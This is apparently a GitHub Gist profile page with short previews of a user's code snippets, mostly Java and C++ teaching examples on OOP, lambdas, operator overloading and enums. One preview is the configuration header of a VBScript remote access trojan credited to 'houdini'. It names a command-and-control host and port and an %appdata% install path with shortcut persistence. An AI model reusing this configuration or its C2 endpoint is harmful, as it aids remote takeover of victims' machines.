Skip to content

Instantly share code, notes, and snippets.

View vakho10's full-sized avatar

Vakho vakho10

  • Georgia/Tbilisi
View GitHub Profile
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "bog5151.zapto.org"
port = 991
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
// In C++, a constructor with only one required parameter is considered an implicit conversion function.
// It converts the parameter type to the class type.
// Whether this is a good thing or not depends on the semantics of the constructor.
#include <iostream>
#include <string>
using namespace std;
class Foo
package singleton;
public final class Earth
{
public static final Earth INSTANCE;
static
{
new Earth();
}
@vakho10
vakho10 / Animal.java
Last active March 15, 2023 08:48
Abstract classes and example of using polymorphism.
public abstract class Animal {
public abstract void makeSound(); // Force every animals to have sound
}
@vakho10
vakho10 / Abstraction.java
Created April 2, 2018 18:22
Java OOP principles with examples.
// Abstraction - separating something out of the class and reusing it anywhere else.
public class Person {
String firstName;
String lastName;
short age;
Address address; // Taking address specific fields out into another class
}
// This now can be used anywhere else
class Address {
@vakho10
vakho10 / Source.cpp
Created April 12, 2018 11:32
C++ operator overloading example overloading [][] brackets.
#include <iostream>
class DoubleArray
{
public:
double** arr;
DoubleArray(double** arr) : arr(arr) {}
class Proxy
@vakho10
vakho10 / Main.java
Created June 8, 2018 12:09
Example demonstrating Lambdas in Java
package ge.tsu.lambdas;
import java.util.function.Consumer;
import java.util.function.Predicate;
public class Main {
public static void main(String... args) {
Person kaiKaci = new Person("Nikoloz", "Grdzelidze", 28);
@vakho10
vakho10 / JsonSerializer.java
Created June 11, 2018 08:08
Simple JSON Serializer (from Object to JSON).
package ge.tsu.serializer.json;
import java.lang.reflect.Field;
import java.time.LocalDate;
import java.time.Month;
import java.time.temporal.Temporal;
public class JsonSerializer {
public static void main(String... args) throws Exception {
@vakho10
vakho10 / PyramidDrawing.java
Created September 20, 2018 07:21
Simple Java applictaion which draws pyramids in the console.
package ge.tsu.pyramid;
public class Main {
public static void main(String[] args) {
// Pyramid properties
char symbol = '+';
int height = 10;
@vakho10
vakho10 / Employee.java
Created October 13, 2018 16:56
Java code example about enums and inner classes
package ge.tsu.lab4;
public class Employee {
String fullName;
int age;
double salary;
Gender gender;
Job job;